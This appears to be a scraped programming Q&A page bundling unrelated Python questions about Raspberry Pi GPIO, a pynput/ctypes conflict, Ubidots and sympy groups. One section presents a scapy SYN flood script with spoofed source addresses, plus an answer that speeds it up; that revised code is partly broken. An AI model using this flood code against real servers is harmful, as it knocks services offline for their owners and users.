Make sense of a list in Python3 - python-3.x

I'm running into a little bit of a snag and I can't seem to research my way out of this, so I'm hoping for some pointers.
I'm using an 3x MCP23017 chips and putting them to output so that I can control a few things. I'm using the Adafruit MCP23017 library on Github, and this works well with the following:
#!/usr/bin/env python
import time
import board
import busio
import RPi.GPIO as GPIO
from digitalio import Direction
from adafruit_mcp230xx.mcp23017 import MCP23017
GPIO.setmode(GPIO.BCM)
i2c = busio.I2C(board.SCL, board.SDA)
mcp1 = MCP23017(i2c, address=0x20)
mcp2 = MCP23017(i2c, address=0x24)
mcp3 = MCP23017(i2c, address=0x22)
#mcp1
one_port_pins = []
for pin in range(0, 15):
one_port_pins.append(mcp3.get_pin(pin))
for pin in one_port_pins:
pin.direction = Direction.OUTPUT
#mcp2
two_port_pins = []
for pin in range(0, 15):
two_port_pins.append(mcp2.get_pin(pin))
for pin in two_port_pins:
pin.direction = Direction.OUTPUT
#mcp3
three_port_pins = []
for pin in range(0, 15):
three_port_pins.append(mcp3.get_pin(pin))
for pin in three_port_pins:
pin.direction = Direction.OUTPUT
According to the example, I'm able to trigger them as such:
for pin in two_port_pins:
pin.value = True
time.sleep(0.2)
pin.value = False
time.sleep(0.2)
And this does trigger them and work great, however, at this stage, I would like to incorporate some of my other script, that would parse through some of the pin's need to be activated, although, I'm not quite sure how to match them.
Trying to print the lists one_port_pins, two_port_pins and three_port_pins gives me all sorts of data I'm not at all formiliar with when I try to print:
print(pin.__dict__)
>>> {'_pin': 0, '_mcp': <adafruit_mcp230xx.mcp23017.MCP23017 object at 0xb65d5230>}
>>> {'_pin': 1, '_mcp': <adafruit_mcp230xx.mcp23017.MCP23017 object at 0xb65d5230>}
>>> {'_pin': 2, '_mcp': <adafruit_mcp230xx.mcp23017.MCP23017 object at 0xb65d5230>}
Can someone tell me what I am looking at? How am I able to select a specific pin to activate?
Thank you!

Related

Trying to make a can counter on a PI 4 in python, Strugging with code for two sensors running at the same time

So I work in the beverage industry and I decided to try and make a can counter using a Raspberry PI4. It needs to use two industrial sensors on the GPIO that detect the cans.
Full Disclosure I have just been googling most code and reading when I get errors in terminal to try and fix the issue. I have done some rudimentary C# and C++ programming doing PLC stuff but it's nothing like what i'm trying to do right now. Just some simple statements for conversions and formulas.
I have had it counting via the sensor on a very rudimentary code
import RPi.GPIO as GPIO
import time
GPIN = 16
GPIO.setmode(GPIO.BCM)
GPIO.setup(GPIN, GPIO.IN)
counting = 0
while True:
while GPIO.input(GPIN) == 0:
time.sleep(0.1)
counting = counting + 1
print(counting)
while GPIO.input(GPIN) == 1:
time.sleep(0.1)
This counts in the terminal. It is of note I need to count the on and off state with a slight delay to keep accidental double counts from happening. I have even added in a GUI with guizero that makes it count in a window. although currently I cannot replicate that from what I remember working and i foolishly didn't save that as i was trying to get to the next stage, but the rough of it was instead of the print(counting) section in the above code I had the app.display() info.
Problem is I need it to count 2 sensors at the same time, one before the can rejector and one after. So I did some reading and figured I needed to run two (or maybe 3) loops at the same time. as I have 2 sensors that need a constant loop, plus it seems like a need another loop that runs and refreshes the GUI. I got turned into threading and have been trying to implement it as that seems like what I want but haven't been able to make heads or tails of it. I can get the GUI to display, but the sensors don't read. If I switch back to my simple code it counts away. Im having trouble meshing the two together.
import threading
from guizero import App, Text, PushButton
import RPi.GPIO as GPIO
import time
GPIN1 = 16
GPIO.setmode(GPIO.BCM)
GPIO.setup(GPIN1, GPIO.IN)
GPIN2 = 15
GPIO.setmode(GPIO.BCM)
GPIO.setup(GPIN2, GPIO.IN)
counting1 = 0
counting2 = 0
counting3 = counting1 - counting2
def sensor1():
global counting1
while GPIO.input(GPIN1) == 0:
time.sleep(0.1)
counting1 = counting1 + 1
while GPIO.input(GPIN1) == 1:
time.sleep(0.1)
def sensor2():
global counting2
while GPIO.input(GPIN2) == 0:
time.sleep(0.1)
counting2 = counting2 + 1
while GPIO.input(GPIN2) == 1:
time.sleep(0.1)
x = threading.Thread(target=sensor1)
y = threading.Thread(target=sensor2)
x.start()
y.start()
while True:
app = App(title="Can Count")
message = Text(app, text="Total")
message = Text(app, text=(counting1))
message = Text(app, text="Rejected")
message = Text(app, text=(counting3))
app.display()
I'm just a bit stumped I'm sure my way isn't the best way to do this, any advice, tips or pointers in the right direction would be appreciated. I'm trying to crash course youtube python tutorials on the side but I am still coming up short.
It seems like I can get the display to show updates if i close the window via the x it restarts the window and shows the update but I have tried a few different things with guizero using a def text(): above that code and text.repeat(10, text) thinking this would redraw the screen but that doesn't work or breaks the gui or the code.
Also I know I call PushButton and don't use it, but the end goal will have a simple reset the counter button.. Just haven't got there yet.

How to keep pynput and ctypes from clashing?

I'm using this gem from somewhere on this site.
import ctypes
import pynput
SendInput = ctypes.windll.user32.SendInput
W = 0x11
A = 0x1E
S = 0x1F
D = 0x20
# C struct redefinitions
PUL = ctypes.POINTER(ctypes.c_ulong)
class KeyBdInput(ctypes.Structure):
_fields_ = [("wVk", ctypes.c_ushort),
("wScan", ctypes.c_ushort),
("dwFlags", ctypes.c_ulong),
("time", ctypes.c_ulong),
("dwExtraInfo", PUL)]
class HardwareInput(ctypes.Structure):
_fields_ = [("uMsg", ctypes.c_ulong),
("wParamL", ctypes.c_short),
("wParamH", ctypes.c_ushort)]
class MouseInput(ctypes.Structure):
_fields_ = [("dx", ctypes.c_long),
("dy", ctypes.c_long),
("mouseData", ctypes.c_ulong),
("dwFlags", ctypes.c_ulong),
("time",ctypes.c_ulong),
("dwExtraInfo", PUL)]
class Input_I(ctypes.Union):
_fields_ = [("ki", KeyBdInput),
("mi", MouseInput),
("hi", HardwareInput)]
class Input(ctypes.Structure):
_fields_ = [("type", ctypes.c_ulong),
("ii", Input_I)]
# Actuals Functions
def PressKey(hexKeyCode):
extra = ctypes.c_ulong(0)
ii_ = Input_I()
ii_.ki = KeyBdInput( 0, hexKeyCode, 0x0008, 0, ctypes.pointer(extra) )
x = Input( ctypes.c_ulong(1), ii_ )
ctypes.windll.user32.SendInput(1, ctypes.pointer(x), ctypes.sizeof(x))
def ReleaseKey(hexKeyCode):
extra = ctypes.c_ulong(0)
ii_ = Input_I()
ii_.ki = KeyBdInput( 0, hexKeyCode, 0x0008 | 0x0002, 0, ctypes.pointer(extra) )
x = Input( ctypes.c_ulong(1), ii_ )
ctypes.windll.user32.SendInput(1, ctypes.pointer(x), ctypes.sizeof(x))
# directx scan codes http://www.gamespp.com/directx/directInputKeyboardScanCodes.html
# ganna need to rework pynput for this to work
import time
def asdf():
while True:
PressKey(0x11)
time.sleep(1)
ReleaseKey(0x11)
time.sleep(1)
asdf()
But by just having pynput imported, returns this error.
ctypes.ArgumentError: argument 2: : expected
LP_INPUT instance instead of LP_Input
This little ctypes script does work, standalone, but i really want to try to incorporate these mechanics into the rest of my program. I don't want to scrap the pynput part of my code. It's gotten pretty big.
Is there some way to keep them from trying to work with each other? Because i think it's because pynput works more like a wrapper and is sort of augmenting the data it pulls. I don't know exactly, still learning.
The reason why i need ctypes is because it's the only solution i found that outputs direct input.(Works with games and whatever things that uses directx.)
Sorry if this isn't enough info or if i posted this in an ugly way. Am willing to fix this question through suggestions.
Update:
Going to learn c.
heres the rest of the error.
Traceback (most recent call last): File
"C:/Users/bbdan/PycharmProjects/Playground/directkeys.py", line 72, in
asdf() File "C:/Users/bbdan/PycharmProjects/Playground/directkeys.py", line 67, in
asdf
PressKey(0x11) File "C:/Users/bbdan/PycharmProjects/Playground/directkeys.py", line 50, in
PressKey
ctypes.windll.user32.SendInput(1, ctypes.pointer(x), ctypes.sizeof(x)) ctypes.ArgumentError: argument 2: : expected LP_INPUT instance instead of LP_Input
I pip install input, and played a bit with it. My guessing was right, Pynput defines those structures, but with slightly different names, and sets argtypes (and restype) for ctypes.windll.user32.SendInput to its own definitions.
That's why when you try to supply instances of your structures, it sees it complains about type mismatch.
There are a number of solutions to fix this. Anyway, the simplest one was to simply replace your structs (you don't need them anymore) with the Pynput ones.
Note: It's just a dumb replace, things can be organized a lot nicer, and I'm sure that Pynput has a mechanism of its own to achieve this, in order to spare the user of writing this code.
The 2 modified versions of PressKey and ReleaseKey:
def PressKeyPynput(hexKeyCode):
extra = ctypes.c_ulong(0)
ii_ = pynput._util.win32.INPUT_union()
ii_.ki = pynput._util.win32.KEYBDINPUT(0, hexKeyCode, 0x0008, 0, ctypes.cast(ctypes.pointer(extra), ctypes.c_void_p))
x = pynput._util.win32.INPUT(ctypes.c_ulong(1), ii_)
SendInput(1, ctypes.pointer(x), ctypes.sizeof(x))
def ReleaseKeyPynput(hexKeyCode):
extra = ctypes.c_ulong(0)
ii_ = pynput._util.win32.INPUT_union()
ii_.ki = pynput._util.win32.KEYBDINPUT(0, hexKeyCode, 0x0008 | 0x0002, 0, ctypes.cast(ctypes.pointer(extra), ctypes.c_void_p))
x = pynput._util.win32.INPUT(ctypes.c_ulong(1), ii_)
SendInput(1, ctypes.pointer(x), ctypes.sizeof(x))
Also check:
[SO]: ctypes.ArgumentError when using kivy with pywinauto for a more complex variant
[SO]: C function called from Python via ctypes returns incorrect value (#CristiFati's answer) for a common pitfall when working with CTypes (calling functions)
This question was linked from here and made me aware of the issue.
For anybody still encountering this issue, the master branch of pynput has been updated to not use internal types in the argtypes calls, but rather a generic ctypes.c_voidp, which should be compatible with whatever you pass.

How can i improve the code? packets send per second performance should improve. i am a beginner

I am a trying to create a tool which will perform SYNFLOOD to a target server. Everything works fine but the performance of the script leaves much to desire. Can anyone suggest ways to maximize the performance of this tool?
from scapy.all import *
import random
def synflood(targetip):
sp = random.randint(1025,65535)
print ("Selected random source port is ---->",sp)
s = conf.L3socket(iface='eth0')
s.send(IP(src=RandIP(),dst=targetip)/TCP(sport=sp,dport=80,flags="S"))
print("Enter target ip:")
tar = input("")
p = input("Enter the number of request to be send to the target:")
pi = int(p)
i = 0
while i < pi:
print("***********************************************************")
print ("Sending SYN packets with Random Source and Random port:")
synflood(tar)
i += 1
print ("End of Attack number:",i)
print("***********************************************************")
print("END!")
If you dont mind to know what port are used (it allow us to remove the print), you can use this revised version of your code.
Also note that printing is slow. If you remove the print statements, everything is mostly faster
from scapy.all import *
def synflood(targetip, count):
# sends multiple packets (count)
send(IP(src=RandIP(),dst=targetip)/TCP(sport=RandNum(1025,65535),dport=80,flags="S"), iface=“eth0”, count=count)
print("Enter target ip:")
tar = input("")
p = input("Enter the number of request to be send to the target:")
print(“******”)
print ("Sending SYN packets with Random Source and Random port:")
synflood(tar, p)
print ("End of Attack number:",i)
print("******”)
# remember to close the socket
s.close()
print(“End!”)

How do I import the substring into my Python code from Ubidots?

I am new to programming and cloud computing. I am trying to control an LED using Ubidots and Raspberry Pi.
I have created a URL in Ubidots that controls the LED with values 0 and 1.
I need to put this URL (string) into my Python code, i.e., I need to retrieve the substring.
How do I do this?
They have a tutorial for Raspberry Pi, it's pretty straightforward. It's explained using their Python library, so everything you are asking is actually covered on it.
This is what you can use to send a value using their Python library and print the response from the server:
from ubidots import ApiClient
import math
import time
# Create an ApiClient object
api = ApiClient(token='XXXXXXXXXXXXXXXXXX')
# Get a Ubidots Variable
variable = api.get_variable('YOUR_VARIABLE_ID')
response = variable.save_value({"value": 1})
print response
Or also, this is what you can use to get a value using their Python library and print the response from the server:
from ubidots import ApiClient
import random
#Create an "API" object
api = ApiClient(token='XXXXXXXXXXXXXXXXXX')
#Create a "Variable" object
variable = api.get_variable("YOUR_VARIABLE_ID")
#Get the value from Ubidots
last_value = variable.get_values(1)
print last_value
After all these changes and updates on both (Raspberry Pi and Ubidots), I'd like to provide you with an easy and quick way to implement this idea.
My setup
Hardware:
Raspberry Pi 4 - Model B, connected to a LED
Software:
gpiozero Python library, Ubidots Platform (In Sep. 2021 the version was 1.6 in STEM plan.)
1- Create a device on Ubidots, with Switch widget (on/off) in a new dashboard.
2- Import the required libraries (in my case:)
from gpiozero import LED
from time import sleep
import requests
3- Copy your account token from Ubidots and the device details as below:
TOKEN = "#############################" # Put your TOKEN here
DEVICE = "led" # Put your device label here
VARIABLE = "led" # Put your first variable label here
4- Create an object for LED (GPIO 17 in my case):
led = LED(17) # GPIO17
5- Build a function that will receive the response from the Ubidots API.
def get_led_status(device, variable):
try:
url = f"http://industrial.api.ubidots.com/api/v1.6/devices/{device}/{variable}/"
headers = {"X-Auth-Token": TOKEN, "Content-Type": "application/json"}
req = requests.get(url=url, headers=headers)
return req.json()['last_value']['value']
except:
pass
6- Reflect the response on your hardware as below:
if __name__ == "__main__":
while True:
led_status = get_led_status(DEVICE, VARIABLE)
print(led_status)
if led_status == 0:
led.off()
elif led_status == 1:
led.on()
sleep(1)
For more details about connecting your RPi with Ubidots, follow this article from here.
I hope this helps in 2021.

When using sympy, why is a permutation group not a group?

I've run this code, pretty plainly expecting the result to be True and yet it's not. I'm not able to make heads or tails of the documentation regarding this behavior, so if someone could explain it to me I'd appreciate it.
from sympy.combinatorics.named_groups import SymmetricGroup
G = SymmetricGroup(3)
print(G.is_group())
[Edit: Weirdly, I tested this and it came out True:
from sympy.combinatorics import Permutation
from sympy.combinatorics.perm_groups import PermutationGroup
from sympy.combinatorics.named_groups import SymmetricGroup
G = SymmetricGroup(3)
H = PermutationGroup( Permutation(0,1,2) )
print(G.is_normal(H))
]
So I found the answer, it's that the "group", when created, only stores a generating set. To see this run the following code which only prints two elements.
from sympy.combinatorics.named_groups import SymmetricGroup
G = SymmetricGroup(3)
for i in G:
print(i)
However, I'm now left with the curious fact that this code prints True False for reasons I haven't been able to discover:
from sympy.combinatorics import Permutation
from sympy.combinatorics.perm_groups import PermutationGroup
from sympy.combinatorics.named_groups import SymmetricGroup
G = PermutationGroup(list(SymmetricGroup(3).generate()))
H = PermutationGroup( Permutation([0,1,2]) ) # This should just be the trivial
# subgroup and therefore normal
print(H.is_subgroup(G), H.is_normal(G))

Resources